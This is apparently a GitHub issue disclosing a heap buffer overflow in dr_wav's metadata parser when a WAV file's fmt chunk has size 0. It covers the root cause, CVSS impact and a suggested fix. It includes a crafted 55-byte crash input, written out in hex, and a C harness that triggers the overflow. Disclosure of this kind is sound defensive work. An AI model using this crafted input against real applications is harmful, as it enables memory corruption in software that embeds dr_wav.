Skip to content

Heap buffer overflow in dr_wav metadata parser when fmt chunk sizeInBytes is 0 #300

@HOHK0923

Description

@HOHK0923

Summary

A heap buffer overflow exists in dr_wav's two-pass metadata parser when processing a malformed WAV file with a fmt chunk whose sizeInBytes is 0.

Found via coverage-guided fuzzing with libFuzzer + AddressSanitizer + UBSan against the latest version (0.14.5).

Root Cause

In drwav_init__internal, the fmt chunk parsing at line 3326 unconditionally reads 16 bytes of format data regardless of header.sizeInBytes:

pWav->onRead(pWav->pUserData, fmtData, sizeof(fmtData)); // always reads 16 bytes

When sizeInBytes == 0, this causes the two-pass metadata parser to desynchronize:

  • Pass 1 (counting): reads 16 bytes past the fmt chunk boundary, shifting the cursor and interpreting subsequent data as different chunks → computes a small buffer size
  • Pass 2 (reading): correctly processes the fmt chunk with 0 bytes, then interprets the following data as a chunk with a large size → attempts to write that data into the undersized buffer

In release builds (no assertions), this results in a heap buffer overflow write with attacker-controlled size and content.

Crash Details

Assertion failed: ((pResult + size) <= (pParser->pData + drwav__metadata_memory_capacity(pParser)))
function: drwav__metadata_get_memory, file: dr_wav.h, line 2130

Reproduction

Minimal crash input (55 bytes):

crash = bytes.fromhex(
    "524946462500000057415645"  # RIFF + size=37 + WAVE
    "666d7420"                  # "fmt "
    "00000000"                  # sizeInBytes = 0
    "0000010044ac000044ac0000"
    "01000800"
    "6461746101000000"          # "data" chunk
    "0000000000000080"
)
with open("crash.wav", "wb") as f:
    f.write(crash)

Compile and run:

# test.c
#define DR_WAV_IMPLEMENTATION
#include "dr_wav.h"
#include <stdio.h>
#include <stdlib.h>

int main(int argc, char **argv) {
    FILE *f = fopen(argv[1], "rb");
    fseek(f, 0, SEEK_END);
    size_t sz = ftell(f);
    fseek(f, 0, SEEK_SET);
    uint8_t *buf = malloc(sz);
    fread(buf, 1, sz, f);
    fclose(f);
    drwav wav;
    drwav_init_memory_with_metadata(&wav, buf, sz, 0, NULL);
    drwav_uninit(&wav);
    free(buf);
}
clang -fsanitize=address,undefined -g -O1 -o test test.c -lm
./test crash.wav

Impact

  • CWE-122: Heap-based Buffer Overflow
  • CVSS 3.1: 7.8 (High) — AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
  • In release builds, the attacker controls both the overflow size and the data written to the heap
  • Affects all applications using drwav_init_*_with_metadata() with untrusted WAV files
  • dr_wav is embedded in miniaudio, raylib, and many other projects

Suggested Fix

Validate header.sizeInBytes >= 16 before reading fmt data at line 3326. Reject the file if the fmt chunk is too small, similar to existing validations for smpl/inst chunks.

Related

This is distinct from CVE-2026-29022 (smpl chunk mismatch, fixed in commit 8a7258c). That fix does not cover this vulnerability.

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions